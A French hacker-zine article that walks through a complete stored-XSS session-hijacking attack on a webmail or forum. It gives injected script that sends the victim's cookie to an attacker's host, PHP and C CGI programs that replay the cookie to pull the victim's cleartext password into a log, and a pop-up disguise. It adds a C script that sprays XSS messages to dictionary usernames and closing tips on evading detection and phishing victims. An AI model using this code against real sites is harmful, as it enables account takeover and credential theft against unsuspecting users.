Intro
Là vous vous dites "Tu vas voir que cet enculé
va nous faire un article de plus sur le XSS"... Et bien vous avez
tort ! (ou presque.)
En fait je vais vous décrire la dernière étape de
l'exploitation d'une faille XSS. La quasi-totalité des articles
sur le sujet ne couvre pas l'exploitation à proprement parler de
ce type de failles.
Au mieux on vous donne un script qui récupère les cookies
et qui les enregistre dans un fichier.... et après c'est "démerdez-vous
!".
Ici je vais décrire une exploitation complète avec vol de
session automatique :p
Quelques rappels ?
Le XSS c'est le Cross Script Scripting. Ca consiste a faire
exécuter du code javascript dans le navigateur du client. Le truc
c'est bien évidemment de trouver un script qui ne filtre pas les
variables et va exécuter bêtement ce qu'on lui passe.
Le HTTP et les Cookies : Le gros problème dans le
protocole HTTP est qu'il est "stateless". Cela veut dire que
d'une page à une autre le serveur aura totalement oublié
qui vous êtes. Ce défaut a fait un peu tâche quand
des sites ont voulus proposer des services comme les webmails ou les forums
qui doivent garder en mémoire l'identité du visiteur tout
au long de sa "session".
Alors comme d'habitude, au lieu de tout reprendre au début pour
faire un truc qui soit sûr de base, les ingénieurs ont préféré
bricoler un truc pas trop mal par dessus le truc déguellase qui
existait : ils ont crée les cookies.
Aussitôt les cookies ont été utilisés pour
le principe de session. Il faut dire que c'est bien plus discret de mettre
l'ID de session dans les cookies que de le passer en argument ou que de
le mettre en champ caché dans toutes les pages.
Comment sont envoyés les cookies ?
Les cookies ne sont pas envoyés spécifiquement
par la méthode GET ou la méthode POST (heureusement d'ailleurs)
; ils sont tout simplement mis dans les headers HTTP.
Prenons l'exemple de Caramail : vous vous connectez sur le site et vous
entrez votre login et votre password. Le serveur vérifie que c'est
valide et vous envoie l'identifiant de session qui vous permet d'accèder
à vos mails (et surtout d'être le seul à lire vos
mails).
L'identifiant de session en question est envoyé par l'en-tête
:
Set-Cookie : PHPSESSID=e67d10d30d5b170cc0950ce559632a1a
Ici la variable de session s'appelle PHPSESSID mais son nom pourrait très
bien être différent.
Les cookies sont toujours formatés de la forme nom1=valeur1;
nom2=valeur2; nom3=valeur3 etc
Par exemple le cookie aurait pu être PHPSESSID=382d3c6ea8a9c23829aa0acc39b0dad9;
path=/
avec deux variables.
Quand votre navigateur reçoit l'en-tête Set-Cookie,
il enregistre la valeur du cookie en mémoire et surtout l'adresse
du serveur qui va avec. Si il ne faisait pas le lien entre les deux, le
navigateur pourrait envoyer le cookie à n'importe quel serveur
:(
Maintenant que votre navigateur possède le cookie
avec l'identifiant de session vous pouvez accèder à votre
espace privé. Comme HTTP est stateless votre navigateur doit renvoyer
le cookie à chaque requête. Il l'envoit alors avec l'en-tête
suivant :
Cookie : PHPSESSID=e67d10d30d5b170cc0950ce559632a1a
Le serveur a lui aussi de son côté un fichier
correspondant à votre session. Ainsi lorsque vous cliquez sur "déconnexion"
le serveur efface ce fichier et vous ne pouvez plus accèder à
votre espace privé.
Vous l'avez deviné, le vol de session HTTP consiste
à accèder à cet espace privé en envoyant le
cookie valide alors que la session est encore ouverte. Et pour obtenir
ce cookie on a recours à la variable javascript document.cookie.
Si vous voulez en savoir plus sur l'injection XSS reportez vous à
l'article de MindFlayR dans MindKind11.
Du code !! On veut du code !
Pour faire mes tests j'ai programmé une petite zone
membre que vous trouverez avec le mag (room.zip.) Cet espace permet aux
utilisateurs enregistrés de s'envoyer des messages privés.
Premier problème : les messages ne sont pas filtrés et l'injection
de code javascript est possible. Second problème : quand on clique
sur "Modifier mes infos" le script charge un formulaire déjà
remplis :
Il suffit alors d'afficher la source pour avoir le mot de passe de l'utilisateur
en clair (ici l'utilisateur root a pour mot de passe "root".)
L'autre utilisateur sur le système (toto) est au
courant de cette faille. Il envoie comme message le texte :
Salut root !<script>window.open("http://toto.com/vphp/hack.php?"+document.cookie);</script>
Qui ouvre dans une nouvelle fenêtre la page hack.php sur le
site de toto en lui passant comme argument le cookie de root.
Le script en question va alors récupérer le
cookie, former une requête HTTP avec ce cookie, demander la page
account.php ("Modifier mes infos") et aura ainsi le password
de root.
Voivi le code :
<?php
$request = "GET
/room/account.php HTTP/1.1\r\n";
$request.= "Host:
webmail.com\r\n";
$request.= "Cookie:
{$_SERVER['QUERY_STRING']}\r\n";
$request.= "Connection
:close\r\n";
$request.= "\r\n";
$s=fsockopen("webmail.com",80,$errno,$errstr,30);
fputs($s,$request);
$content='';
while(!feof($s))
{
$content.=fgets($s,4096);
}
fclose($s);
$f=fopen("log.txt","a");
fwrite($f,$content);
fclose($f);
?>
Ainsi quand root va lire ses messages il va voir un message
de toto lui disant 'Salut root !'. En même temps une fenêtre
va s'ouvrir qui va récupérer son cookie, lire sa page account.php
et l'enregistrer dans le fichier log.txt du serveur de toto.
Quelques minutes plus tard toto ouvre son fichier log.txt et il voit parmis
les lignes :
Password : <input type="password" name="passe"
value="root">
Malheureusement il y a plusieurs problèmes... D'abord c'est pas
super discret. Il suffit de lire l'adresse de la nouvelle fenêtre
pour comprendre le piège. Le truc simple pour rémédier
à ce problème c'est de faire passer la fenêtre qui
va voler le cookie pour une popup publicitaire.
Toto décide d'améliorer sa technique. Il trouve
une image plus ou moins chaude pour faire croire à une pub. L'image
fait 165 pixel de largeur et 235 pixel de hauteur. Il modifie ensuite
le script qu'il envoie à root :
Salut root !
<script>
window.open("http://toto.com/vphp/hack.php?"+document.cookie,
"",
"toolbar=no,location=no,directories=no,menubar=no,scrollbars=no,status=no,resizable=0,width=165,height=235");
</script>
De cette façon lorsque root lit ses mails une popup
sans barre d'adresse, sans possibilité de redimensionnement, sans
barre d'état et exactement de la taille de l'image s'affiche. De
son côté le php de toto doit être modifié :
<html>
<head><title>S&M Airlines</title></head>
<body leftmargin="0" topmargin="0" marginwidth="0"
marginheight="0">
<?php
$request = "GET
/room/account.php HTTP/1.1\r\n";
$request.= "Host:
webmail.com\r\n";
$request.= "Cookie:
{$_SERVER['QUERY_STRING']}\r\n";
$request.= "Connection
:close\r\n";
$request.= "\r\n";
$s=fsockopen("webmail.com",80,$errno,$errstr,30);
fputs($s,$request);
$content='';
while(!feof($s))
{
$content.=fgets($s,4096);
}
fclose($s);
$f=fopen("log.txt","a");
fwrite($f,$content);
fclose($f);
?>
<img src="sm.jpeg">
</body>
</html>
L'ilusion est maintenant parfaite. Root croit qu'il s'agit
d'une fenêtre publicitaire. Petit problème : c'est LENT !!!!
c'est même super lent ! (pour vous donner un autre d'idée
root aurait le temps de fermer 14 popups avant que notre script finisse
de charger complétement.) Ça c'est à cause de PHP
: les sockets en PHP c'est pas au point. Bref on a le concept, l'algo
mais pas le bon langage.
C'est pas grave on va coder un CGI en C :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>
#define TITLE "Voleur de session"
#define HOST "localhost"
#define URI "/room/account.php"
char x2c(char *what);
void header();
void footer();
int main(int argc, char *argv[])
{
FILE *out;
char requete[1024];
WSADATA wsa;
SOCKET sock;
SOCKADDR_IN addr;
struct hostent *hp;
char ch;
char *qs = (char *)malloc(256);
int x = 0, i = 0, c = 0, f = 0;
qs = getenv("QUERY_STRING");
if (qs != NULL){
/*
* Bout de code dont je ne connais pas l'auteur qui
* permet de traduire les %xx en leurs caractères.
*/
for (x = 0, i = 0; qs[i]; x++, i++) {
if ((qs[x] = qs[i]) == '%') {
qs[x] = x2c(&qs[i + 1]);
i += 2;
}
}
qs[x] = '\0';
header();
/*
* Here you must put your c0d3 !
*/
printf("Ton cookie semble etre :<br>%s<br>\n",qs);
sprintf(requete,"GET %s HTTP/1.1\n"
"Host: %s\nCookie: ",
URI,
HOST);
lstrcat(requete,qs);
lstrcat(requete,"\nConnection: close\n\n");
printf("Essayons la requete :<br>%s<br>\n",requete);
if(WSAStartup(0x0101,&wsa)!=0)
{
printf("Initialisation de winsock impossible!");
return 0;
}
if((hp = gethostbyname(HOST))==0)
{
printf("Impossible de trouver %s",HOST);
return 1;
}
if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
{
printf("Pb creation socket");
return 1;
}
addr.sin_addr=*((struct in_addr *)hp->h_addr);
addr.sin_family=AF_INET;
addr.sin_port=htons(80);
if(!(connect(sock,(SOCKADDR *)&addr,sizeof(addr))))
{
printf("Connexion OK\n<br>");
send(sock,requete,strlen(requete),0);
printf("Data sended\n<br>");
printf("\n");
out=fopen("file.txt","w");
while((recv(sock, &ch, 1, 0))==1)
{
fputc(ch,out);
}
fclose(out);
}
else
{
printf("Impossible de se connecter\n");
}
closesocket(sock);
WSACleanup();
}
footer();
return 0;
}
char x2c(char *what)
{
register char digit;
digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
digit *= 16;
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
return (digit);
}
void header() {
printf("Content-type: text/html\n\n");
printf("<html>\n<head><title>%s</title></head>\n", TITLE);
printf("<body>\n<pre>\n");
}
void footer() {
printf("</pre></body></html>\n");
}
C'est le CGI que j'ai crée pour faire mes tests. Il faudra faire
quelques retouches si vous désirez le rendre discret.
Toto compile le CGI (l'exemple ici est une version windows) et le met
dans son répertoire cgi-bin. Puis il envoie le message :
Salut root ! Devines qui c'est ?<script>window.open("http://toto.com/cgi-bin/sess_thieft.exe?"+document.cookie);</script>
Quand root lit ses mails une fenêtre s'ouvre... aussitôt
ouverte aussitôt chargée :) Vive le C !!
Vous trouverez une version linux du CGI avec le mag. Il suffit de faire
un make puis de donner l'extension cgi au programme compilé avant
de le placer dans cgi-bin.
Bon dans l'exemple que je vous ai montré c'était un cas
stupide mais la méthode est toujours la même. Par exemple
sur certains forums quand on ne se rappelle plus de son mot de passe
il faut cliquer sur "Me rappeller mon mot de passe" et on
reçoit notre pass dans notre boîte mail. Avec la méthode
du vol de cookie, à la place de lire une page HTML, on va changer
l'adresse email de notre victime en envoyant une requête POST.
Par exemple toto va changer l'email de root en 'toto@toto.com' puis
il ira sur le forum, fera un échec de connexion en tant que root
(mauvais mot de passe) puis cliquera sur "Me rappeller mon mot
de passe" et aura le mot de passe root :)
Bon ! Maintenant on sait voler la session d'un utilisateur particulier
de façon automatique et surtout au moment où la session
est toujours ouverte. Mais tant qu'à faire un script automatique
autant qu'il serve le plus possible... Comment faire pour attaquer tous
les utilisateurs du forum ou du webmail cible ?
La solution la plus simple est de trouver une faille XSS dans une page
statique (je veux dire qui est la même pour tous les utilisateurs.)
Malheureusement ce n'est pas toujours le cas...
Il faut alors appliquer l'injection XSS à tous les utilisateurs.
On ne connaît pas le nom de tous les utilisateurs mais il y a
de bonnes chances que la plupart des noms ou logins soient tirés
d'un dictionnaire...
La solution : un brute force de requête HTTP. Imaginons un forum
vulnérable au XSS au niveau du script des messages privés.
La page doit être appelée de la façon suivante :
/forum/pv.php?login=<login_utilisateur>&message=<message>
Il suffira de changer la variable login à chaque requête...
Passons maintenant à la programmation. Nous allons utiliser une
astuce pour rendre l'exploitation plus rapide. Depuis la version 1.1,
le protocole HTTP permet les connexions persistantes. C'est à
dire qu'un navigateur peut demander plusieurs fichiers à un serveur
HTTP à la suite sans avoir à se reconnecter. Avec les
anciennes versions nous aurions dû pour chaque requête :
nous connecter au serveur - envoyer notre reqûete - nous déconnecter...
Ici on va se connecter une seule fois et envoyer toutes nos requêtes
à la suite...
-- brute_req.c --
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#define DICO_PATH "dico.txt"
#define HOST "localhost"
int main(int argc,char *argv[])
{
FILE *in;
char requete[1024];
int sock;
struct sockaddr_in addr;
struct hostent *hp;
char mot[32];
char c;
unsigned int i;
if((hp=gethostbyname(HOST))==0)
{
printf("Impossible de trouver %s.\n",HOST);
return -1;
}
bcopy((char*)hp->h_addr, (char*)&addr.sin_addr, hp->h_length);
addr.sin_family=hp->h_addrtype;
addr.sin_port=htons(80);
if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1)
{
perror("Pb socket()");
return -1;
}
if((connect(sock,(struct sockaddr*)&addr,sizeof(addr)))!=-1)
{
printf("La connexion a ete etablie.\n");
if(!(in=fopen(DICO_PATH, "r")))
{
perror("Ouverture dico.\n");
close(sock);
return -1;
}
i=0;
while(!feof(in))
{
fread(&c,1,1,in);
if(c=='\n')
{
mot[i]='\0';
i=0;
sprintf(requete,
"GET /forum/pv.php?login=%s"
"&message=<script>alert('bl4h!')</script> HTTP/1.1\n"
"Host: %s\n"
"Connection: Keep-Alive\n\n",
mot,
HOST);
send(sock, requete, strlen(requete), 0);
}
else
{
mot[i]=c;
i++;
}
}
fclose(in);
sprintf(requete,"GET / HTTP/1.1\n"
"Host: %s\n"
"Connection: close\n\n",
HOST);
send(sock,requete,strlen(requete),0);
}
close(sock);
return 0;
}
Les protections possibles contre le vol de session
Evidemment il existe des moyens de bloquer le vol de session HTTP.
La plus répandu est de faire une vérification sur l'IP
du visiteur. Lorsque vous vous loggez le script garde en mémoire
votre IP :
$_SESSION['IP']=$_SERVER['REMOTE_ADDR'];
Ensuite à chaque page demandée il compare l'ip du visiteur
avec celle enregistrée au login... Si c'est différent
il vous redirige vers une page d'erreur.
La nouvelle protection contre le vol de cookie vient de Microsoft et
s'appelle httpOnly. Le principe est d'empécher le navigateur
de la victime de donner le précieux cookie à la victime.
Pour déclarer un cookie comme étant httpOnly, le serveur
doit envoyer au navigateur la requête :
Set-Cookie: nom=valeur; httpOnly
Lorsque le navigateur reçoit un cookie avec l'option httpOnly,
il désactive la fonction javascript document.cookie et empèche
donc la récupération du cookie.
Mais ne vous inquiétez pas : comme c'est une invention Microsoft
le seul navigateur qui supporte cette option pour le moment est IE 6
et on sait que IE n'est pas le navigateur le plus sûr :p
Derniers conseils pour la route
Avant de vous lancer dans le phishing sauvage n'oubliez pas la règle
principale : bien étudier sa victime. Si le site que vous attaquez
lance régulièrement des popups publicitaire, reprenez
exactement le code de la popup pour que votre CGI ne fasse pas "tâche".
Ensuite n'hésitez pas à encoder l'url de votre cgi en
remplacant les caractères par leur représentation hexadécimale.
sirius_black
|